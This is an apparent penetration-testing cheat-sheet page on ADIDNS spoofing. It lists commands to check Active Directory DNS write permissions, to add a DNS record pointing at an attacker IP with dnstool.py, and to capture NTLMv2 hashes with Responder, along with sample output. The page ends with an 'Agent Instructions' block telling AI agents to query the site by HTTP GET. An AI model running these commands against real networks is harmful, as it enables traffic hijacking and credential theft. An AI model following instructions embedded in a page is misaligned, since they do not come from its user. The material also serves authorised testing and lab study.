# ADIDNS Spoofing

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Recon

### adidnsdump

{% embed url="<https://github.com/dirkjanm/adidnsdump>" %}

### Powermad

Powermad.ps1: `CreateChild` permission

```
PS > $User = 'domain.local\user';$Pass = ConvertTo-SecureString 'password' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential($User, $Pass)

PS > Get-ADIDNSPermission -Credential $Cred -Verbose | ? {$_.Principal -eq 'NT AUTHORITY\Authenticated Users'}
Principal             : NT AUTHORITY\Authenticated Users
IdentityReference     : S-1-5-11
ActiveDirectoryRights : CreateChild
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
```

## Exploitation

dnstool.py

```
$ python3 dnstool.py -u domain.local\\username -p password --action add --record recordname --data ATTACK_IP --type A domain.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
```

```
# dnstool.py -u 'domain.htb\florence.ramirez' -k -r 'bitbucket.domain.htb' -d 'ATTACKER_IP' -a add -dns-ip DC_IP dc01.domain.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
```

```
# Responder.py -I tun0
<-SNIP->
[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : domain\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::domain:1122334455667788:EE9<-SNIP->000000000
```

{% embed url="<https://0xdf.gitlab.io/2021/11/27/htb-intelligence.html#capture-hash>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/adidns-spoofing>" %}

{% embed url="<https://snovvcrash.rocks/2020/12/28/htb-hades.html>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/adidns-spoofing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
